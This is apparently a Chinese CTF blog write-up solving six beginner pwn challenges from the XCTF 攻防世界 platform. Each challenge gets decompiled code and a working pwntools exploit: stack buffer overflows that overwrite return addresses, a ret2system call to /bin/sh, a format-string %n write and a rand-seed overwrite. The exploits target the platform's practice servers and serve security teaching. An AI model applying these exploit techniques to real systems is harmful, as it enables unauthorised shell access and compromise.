攻防世界 CTF Pwn(一)

news2024/9/20 16:35:54

前言

攻防世界是一个专注于网络安全的在线学习和竞赛平台,由赛宁网安推出,旨在为网络安全爱好者提供丰富的学习资源和实战竞赛环境。该平台自2018年9月推出以来,已经吸引了超过18万用户注册使用,月活跃用户超过5万。

平台的主要特点包括:

  1. 学习训练:提供系统安全、Web安全、逆向分析、二进制漏洞挖掘、流量分析、协议分析、IoT等多个类型的学习资源,以及400+在线操作环境,支持用户根据自己的兴趣和学习计划进行练习。
  2. 竞赛实战:平台收录了历届XCTF国际联赛的海量题库资源,用户可以通过解决实际问题来提升自己的网络安全技能。
  3. 自助办赛:提供轻量级高品质网络安全竞赛产品,支持高校、企业和安全团队组织攻防对抗演练,降低办赛门槛。
  4. 社区交流:打造专业的网安交流社区,邀请国内外优秀的CTF战队入驻,提供展示空间,分享赛事信息、解题思路和技术文章。

攻防世界平台的改版升级,增加了实训、竞赛、办赛、社区等多功能,致力于构建一个全面、专业的网络安全学习环境,帮助用户提升网络安全技术水平,并为网络安全人才的成长提供支持。平台网址为:https://adworld.xctf.org.cn 。

此外,攻防世界还提供了一些具体的题目和解题思路,例如在CSDN博客中,有用户分享了攻防世界中的一些题目的解题方法,包括逆向分析、Pwn等类型的题目 。这些资源对于希望提升网络安全实战技能的用户来说非常有价值。

一、get_shell

打开靶场

使用 Exeinfo PE 查看是 32 位还是 64 位

知道是 64 位后拖进 IDA64 分析查看主函数 main

按 F5 反编译

int __fastcall main(int argc, const char **argv, const char **envp)
{
  puts("OK,this time we will get a shell.");
  // 这行代码实际上会启动一个新的shell
  system("/bin/sh");
  return 0;
}

已知会启动一个新 shell,我们可以直接 nc 连接或者编写 Python 脚本  

脚本如下

from pwn import *

// remote 函数是 pwntools 库中的一个函数,它用于建立与远程主机的连接
r = remote("61.147.171.105","51234")

// sendline() 默认发送一个换行符(\n)
r.sendline()

// 调用了 interactive 方法,它将当前的 pwntools 网络连接转换为交互式模式
r.interactive()

二、hello_pwn

打开靶场

使用 checksec 查看

可以得出:

        1. 该文件由 amd64 架构编译

        2. 只有部分 GOT 表被标记为不可执行

        3. 该二进制文件没有使用栈保护

        4. 该二进制文件启用了 NX 保护

        5. 表示该二进制文件没有使用 PIE

参考题目描述:pwn!,segment fault!菜鸡陷入了深思

拖入 IDA64 反编译 

让我们深度解析一下伪代码 

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  // alarm 函数用于设置一个定时器
  alarm(0x3Cu);

  // setbuf 函数用于设置标准输出(stdout)的缓冲区,这里为 NULL
  setbuf(stdout, 0LL);

  puts("~~ welcome to ctf ~~     ");
  puts("lets get helloworld for bof");

  // 第一个参数为要读取的文件,为 0 代表标准输入
  // 第二个参数为要将读取的内容保存的缓冲区
  // 第三个参数读取文件的长度,这里表示读取 16 字节(10进制)的数据
  read(0, &unk_601068, 0x10uLL);

  if ( dword_60106C == 1853186401 )
    sub_400686();
  return 0LL;
}

可以看到程序最后有个判断条件,查看执行函数是什么

双击跳转这个 dword_60106C 跳转,发现离我们输入保存的缓冲区只差四个字节

构造 Python 代码实现缓冲区溢出攻击

from pwn import *
r = remote("61.147.171.105", "60230")

// b'A'表示一个字节对象
// p64 函数将一个整数转换为一个 64 位的字节序列
payload = b'A' * 4 + p64(1853186401)

r.sendline(payload)
r.interactive()

三、level0

打开靶场

下载文件后先 Checksec

没有栈保护,结合题目描述应该是要利用栈溢出,先扔进 IDA64

主函数最后调用了 vulnerable_function 函数,去看看

这个函数将用户输入存储到了缓冲区 buf 中,去看看这个 buf

解析这段注释:

        “r”用于存储返回地址,即函数执行完毕后返回到调用者的位置

        “s”用于存储在函数调用期间需要保存的寄存器值 

去找执行命令的函数发现在 callsystem() 中

如果我们输入数据覆盖了 buf + s 则直接到了 r

因为 callsystem() 是 return 方式执行,所以一调用就会执行

当 r 返回的地址是 callsystem() 的话就会执行 shell

先查看函数地址在 Export 窗口中

构造 Python 脚本

from pwn import *
r = remote("61.147.171.105","63501")
payload = b'A' * 0x88 + p64(0x00400596)
r.sendline(payload)
r.interactive()

四、level2

打开靶场

先 Checksec 发现没有栈保护

直接扔进 32 位 IDA 反编译

调用了 vulnerable_function() 函数,去看看

用户输入存放到了 buf 中,去看看内存

和上一题是一样的,r 存储返回地址 

然后在别的函数中没有找到相关执行命令的代码,于是查看字符串

发现有 /bin/sh,前面有执行的 system 函数,那么可以将地址拼接起来执行命令

又因为没有栈保护,可通过溢出覆盖 buf 和 s 到 r 处写入

于是构造脚本

pwn从入门到放弃第六章——简单ROP | PWN? PWN!

参考文章的重点

from pwn import *
io = remote('61.147.171.105',52080)

# 使用 PwnTools 的 ELF 类来加载本地的ELF格式的二进制文件
elf = ELF('./level2')

# plt 属性代表“过程链接表”(Procedure Linkage Table)
# 它是一个跳转表,用于动态链接库中的函数调用
# 通过访问 plt 字典并使用 'system' 作为键,可以直接获得 system 函数的地址
system_adr = elf.plt['system']

# next 函数则获取第一个匹配的位置
# search 方法在ELF文件中搜索包含字节序列 b'/bin/sh' 的位置
binsh_adr = next(elf.search(b'/bin/sh'))

# 0x6666 用于覆盖 system 的函数返回地址(随便填,0xdeadbeef 也可以)
payload = b'a' * 140 + p32(system_adr) + p32(0x6666) + p32(binsh_adr)

# 服务器连接我们,所以需要这个函数接受
io.recv()

io.send(payload)
io.interactive()

五、CGfsb

打开靶场

先 checksec 一下,发现有栈保护 

扔进 IDA32 反编译一下

来看下主要代码就行

int __cdecl main(int argc, const char **argv, const char **envp)
{
  _DWORD buf[2]; // [esp+1Eh] [ebp-7Eh] BYREF
  __int16 v5; // [esp+26h] [ebp-76h]
  char s[100]; // [esp+28h] [ebp-74h] BYREF
  unsigned int v7; // [esp+8Ch] [ebp-10h]

  // 读取GS寄存器的值并存储在 v7 中
  v7 = __readgsdword(0x14u);

  // 关闭标准输入的缓冲,使得每次读取都是直接从输入设备读取
  setbuf(stdin, 0);

  // 关闭标准输出的缓冲,使得每次输出都是直接显示到屏幕上
  setbuf(stdout, 0);

  // 关闭标准错误的缓冲,使得每次错误输出都是直接显示到屏幕上
  setbuf(stderr, 0);

  buf[0] = 0;
  buf[1] = 0;
  v5 = 0;

  // 使用 memset 函数将 s 数组的所有元素初始化为0
  memset(s, 0, sizeof(s));

  puts("please tell me your name:");
  read(0, buf, 0xAu);
  puts("leave your message please:");

  // 从标准输入读取一行文本到 s 数组中,最多读取99个字符
  fgets(s, 100, stdin);

  // (const char *)buf 是一个类型转换操作,它将 buf 数组的地址转换为一个指向常量字符的指针
  printf("hello %s", (const char *)buf);

  puts("your message is:");
  printf(s);
  if ( pwnme == 8 )
  {
    puts("you pwned me, here is your flag:\n");
    system("cat flag");
  }
  else
  {
    puts("Thank you!");
  }
  return 0;
}

这里 printf(s) 存在格式化字符串漏洞

因此本题关键在于利用输入的 s 构造 printf(s) 的格式化字符串漏洞

要利用输入修改 pwnme 的值,首先得知道输入进去的数据存在栈上的哪个位置,然后才能将这个位置和 pwnme 的地址对应起来 

aaaa 的值 0x61616161 出现在输出的第十个地址,因此我们的输入在栈上的偏移量为 10 

拿到 pwnme 地址

from pwn import *

// p32(0x0804A068) 是 pwnme 地址
// 接着 printf 遇到 %10$n,这会将已经打印的字符数(此时为 4 字节)写入到 pwnme 变量的地址(0x0804A068)
// %10$n 意味着我们告诉 printf 函数将已经打印的字符数写入栈上第 10 个位置的地址
// 而此地址正好是前面提供的 0x0804A068,也就是 pwnme 的地址
payload = p32(0x0804A068) + b'8888'+ b'%10$n'

p = remote('61.147.171.105',51841)
p.sendlineafter('tell me your name:','abcd')
p.sendlineafter('your message please:',payload)
p.interactive()

六、guess_num

打开靶场

先 checksec 一下没发现东西 

扔进 IDA64 反编译

我将核心代码标上了注释 

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  int v4; // [rsp+4h] [rbp-3Ch] BYREF
  int i; // [rsp+8h] [rbp-38h]
  int v6; // [rsp+Ch] [rbp-34h]
  char v7[32]; // [rsp+10h] [rbp-30h] BYREF
  unsigned int seed[2]; // [rsp+30h] [rbp-10h]
  unsigned __int64 v9; // [rsp+38h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);

  v4 = 0;
  v6 = 0;
  
  // 调用函数 sub_BB0 并将其返回值存储在 seed 变量中
  *(_QWORD *)seed = sub_BB0();

  puts("-------------------------------");
  puts("Welcome to a guess number game!");
  puts("-------------------------------");
  puts("Please let me know your name!");
  printf("Your name:");

  // 使用 gets 函数读取用户输入的名字
  gets(v7);

  // 使用 seed 数组的第一个元素作为随机数生成器的种子
  srand(seed[0]);

  for ( i = 0; i <= 9; ++i )
  {
    // 生成一个1到6之间的随机数
    v6 = rand() % 6 + 1;

    printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
    printf("Please input your guess number:");
    __isoc99_scanf("%d", &v4);
    puts("---------------------------------");
    if ( v4 != v6 )
    {
      puts("GG!");
      exit(1);
    }
    puts("Success!");
  }
  sub_C3E();
  return 0LL;
}

我们先来看程序最后调用的函数是什么

推断出这个猜数游戏会进行十个回合,如果十个回合都能猜对数的话则能拿到 flag

补充知识:

        1. srand 函数用于设置随机数生成器的种子。种子是一个初始值,它决定了随机数序列的开始点

        2. 当你第一次调用 rand 函数时,如果没有先调用 srandrand 函数会默认使用一个种子值(通常是1)

        3. gets() 函数存在缓冲区溢出漏洞

先查看 gets() 函数存储用户输入的地址

可以看到离 seed 相差 32,那么我们可以通过这个函数的缓冲区溢出漏洞改写 seed 的值

从而让 seed 唯一,继而让后续的随机数相同来满足 if 条件 

如果我们让服务器的 seed 值为 1,再本地调用相同代码并设置种子相同如 srand(1),那么我们本地生成数与服务器的数是相同的

这样就满足的 if 条件拿到 flag

from pwn import *

# 允许调用 C 语言库中的函数
from ctypes import *

# 使用 ctypes 的 cdll.LoadLibrary 函数加载 Linux 系统的 C 标准库(glibc)
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6") 

# 缓冲区溢出漏洞设置 seed 为1
payload = b'a'*32 + p64(1) 

p = remote('61.147.171.105',60930)

# 调用加载的 libc 中的 srand 函数,传入固定的种子值 1
# 这将使得 libc 中的随机数生成器产生一个可预测的随机数序列
libc.srand(1)

# 等待从远程服务接收到包含 'name:' 的字符串,然后发送构造的 payload
# sendlineafter 函数会在匹配到指定字符串后发送下一行数据
p.sendlineafter('name:',payload) 

# 
for i in range(10):
    # 在每次循环中,等待从远程服务接收到包含 'number:' 的字符串,然后发送一个 1 到 6 之间的随机数
    # 这个随机数是通过调用 libc 中的 rand 函数生成的,由于之前已经调用了 srand(1),所以生成的随机数序列是可预测的
    p.sendlineafter('number:',str(libc.rand()%6 + 1)) 
p.interactive()

拿到 flag 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2132310.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

BBOT:一款递归型互联网OSINT资源情报工具

关于BBOT BBOT是一款递归型互联网OSINT资源情报工具&#xff0c;该工具深受Spiderfoot项目的启发&#xff0c;旨在自动化侦察、漏洞奖励项目和ASM。 功能介绍 1、支持多个目标 2、网页截图 3、 Web安全测试模块套件 4、由 NLP 提供支持的子域名变异 5、Neo4j 的本机输出&#…

【LeetCode】每日一题 2024_9_13 预算内的最多机器人数目(滑动窗口、单调队列)

LeetCode 启动&#xff01; 每日一题的题解重新开始连载&#xff01; 题目&#xff1a;预算内的最多机器人数目 题目链接&#xff1a;2398. 预算内的最多机器人数目 题目描述 代码与解题思路 func maximumRobots(chargeTimes []int, runningCosts []int, budget int64) (an…

【微服务】Ribbon(负载均衡,服务调用)+ OpenFeign(服务发现,远程调用)【详解】

文章目录 1.Ribbon&#xff08;负载均衡&#xff0c;服务调用&#xff09;1.1问题引出1.2 Ribbon负载均衡1.3 RestTemplate整合Ribbon1.4 指定Ribbon负载均衡策略1.4.1 配置文件1.4.2 配置类1.4.3 定义Ribbon客户端配置1.4.4 自定义负载均衡策略 2.OpenFeign面向接口的服务调用…

【计算机网络】HTTP相关问题与解答

此篇文章内容会不定期更新&#xff0c;仅作为学习过程中的笔记记录 目录 一、HTTP请求和响应报文是怎样的&#xff1f; 1、请求报文 2、响应报文 二、HTTP请求方法有哪些&#xff1f; GET HEAD POST PUT DELETE PATCH OPTIONS TRACE CONNECT 三、GET请求与POST请…

Day 不知道是几|贪心算法part1

贪心算法 贪心算法一般分为如下四步&#xff1a; 将问题分解为若干个子问题 找出适合的贪心策略 求解每一个子问题的最优解 将局部最优解堆叠成全局最优解 这个四步其实过于理论化了&#xff0c;我们平时在做贪心类的题目 很难去按照这四步去思考&#xff0c;真是有点“鸡肋”。…

c++中模版进阶和继承

类型参数非类型模版参数 //类型参数非类型模版参数 template<class T,int N> class Array { public:Array() {} private:T _a[N]; }; int main() {Array<int, 100> a1;return 0; } 注意&#xff1a; 1. 浮点数、类对象以及字符串是不允许作为非类型模板参数的。…

【兼容性记录】video标签在 IOS 和 安卓中的问题

业务需求背景&#xff1a;由于业务中涉及到有视频播放的内容&#xff0c;所以就使用了 video 标签去做&#xff0c;但是 video 标签在 ios 设备和安卓设备中的默认行为不一致&#xff0c;故记录下解决方法&#xff08;折中办法&#xff09;。 ios 自动全屏 ios 设备点击播放视频…

STC分散文件加载

一、什么是分散加载文件&#xff1f; 分散加载文件通常以.sct结尾&#xff0c;英文名是&#xff1a;Linker Control File, scatter loading&#xff0c;链接器根据这个文件的配置来分配各个节区的地址空间&#xff0c;并且生成分散加载代码&#xff0c;因此我们只要修改分散加载…

另一款插件开发中......

欢迎插眼&#xff01;&#xff01;&#xff01; 一款关于源码阅读和笔记记录的插件。发个图&#xff0c;还在开发中......Command Assist的难点是第一次接触IDEA插件&#xff0c;不管是项目工程结构&#xff0c;还是开发发布流程都比较陌生&#xff0c;然后是功能点里面的终端…

编码规范之注释、条件语句中限制代码行数和避免硬编码

对于软件开发管理来说&#xff0c;制订编码规范是一个历久弥新的话题。每一个大有为开发头目&#xff0c;都强调编码规范。或者程序员也互相攻讦&#xff08;jie&#xff0c;第二声&#xff0c;阳平&#xff09;&#xff0c;说你写的代码很乱&#xff0c;不规范&#xff0c;很难…

黑马JavaWeb开发笔记16——请求(postman、简单参数、实体参数、@RequestParam映射)

文章目录 前言一、postman工具1. 引入2. 介绍3. 安装4. 使用 二、简单参数1. 原始方式&#xff08;仅了解&#xff0c;以后的开发不会使用&#xff09;2. SpringBoot方式3. 参数名不一致(RequestParam映射) 三、实体参数1. 简单实体对象2. 复杂实体对象 总结 前言 本篇文章是2…

[CocosCreator]全栈接入微信支付宝SDK(V3)

原文再续,书接上一回!上一期我介绍了接入支付宝的SDK,本文就来讲讲微信的SDK接入.还是那句话,官方的文档,我只能用一句话形容:一言难尽!本屌还是一如既往,把"恶心的东西"嚼碎了喂给各位宝吃. 一.前言 首先还是要集齐可以召唤神龙的法器,给大家一一列举一下: 1.…

python学习第十节:爬虫基于requests库的方法

python学习第十节&#xff1a;爬虫基于requests库的方法 requests模块的作用&#xff1a; 发送http请求&#xff0c;获取响应数据&#xff0c;requests 库是一个原生的 HTTP 库&#xff0c;比 urllib 库更为容易使用。requests 库发送原生的 HTTP 1.1 请求&#xff0c;无需手动…

Notepad++插件:TextFX 去除重复行

目录 一、下载插件 TextFX Characters 二、去重实操 2.1 选中需要去重的文本 2.2 操作插件 2.3 结果展示 2.3.1 点击 Sort lines case sensitive (at column) 2.3.2 点击 Sort lines case insensitive (at column) 一、下载插件 TextFX Characters 点【插件】-【插件管理…

unity编辑器c#脚本

目录 1.编辑器窗口再介绍 1.1添加对象 1.2文件夹的管理 1.3参数的设置 1.4对象的移动方式 2.对于外形和材质的修改 2.1对于外形的修改 2.2对于材质的修改 3.添加有趣的组件 3.1如何添加组件 3.2添加刚体组件 3.3碰撞器的介绍 3.4添加c#组件 3.5c#脚本代码的说明 1…

通过知识蒸馏提升大模型训练效率

人工智能咨询培训老师叶梓 转载标明出处 随着模型规模的不断扩大&#xff0c;如GPT-4这样的模型拥有约1.7万亿参数&#xff0c;其预训练所需的巨大能源和计算资源引发了对可持续发展AI解决方案的迫切需求。麦吉尔大学的研究团队介绍了一种创新的方法来解决与LLMs预训练相关的效…

MySQL5.7基于mysqldump、xtrbackup、innobackupex工具进行全量备份/恢复、增量备份/恢复

mysql全量备份脚本 文章目录 前言一、数据库备份分类二、为什么需要备份&#xff1f;三、备份工具示例1.逻辑备份工具1.1.使用场景1.2.备份操作示例1.3.恢复操作示例 2.物理备份工具2.1.xtrbackup介绍2.2.使用场景2.3.安装percona-xtrabackup2.4.xtrbackup备份原理2.5.percona-…

西门子PLC读取时间相差8小时

当前时间与PLC读取到的时间相差8小时&#xff0c;如下图所示 原因&#xff1a;指令问题 模块时间总是存储在 CPU 时钟中&#xff0c;而不带因子“本地时区”或“夏令时”。之后&#xff0c;CPU 时钟将基于模块时间计算 CPU 时钟的本地时间。 解决办法&#xff1a;将读取时间指…

leetcode hot100_part01_哈希

1.两数之和 遍历数组&#xff0c;map中存在target - nums[i]就返回结果&#xff0c;不存在就把当前元素存入map; 49.字母异位词分组 分组&#xff0c;怎么分&#xff0c;用hashMap, key为每一组的标识&#xff0c;value为每一组包含的字符串&#xff08;属于同一组的&#xff…

【笔记】第一节. 引言

• 轨道用钢的加工过程 • 钢轨结构及其标准 • 轨道结构特点 • 钢轨的商业化及其发展趋势 轨道用钢的加工过程 钢轨形式及其标准 钢轨的基本结构 轨头、轨腰、轨底。 钢轨的技术标准 • 铁道行业标准《TB/T2344-2003&#xff1a;43&#xff5e;75 kg/m 热轧钢轨订货技术…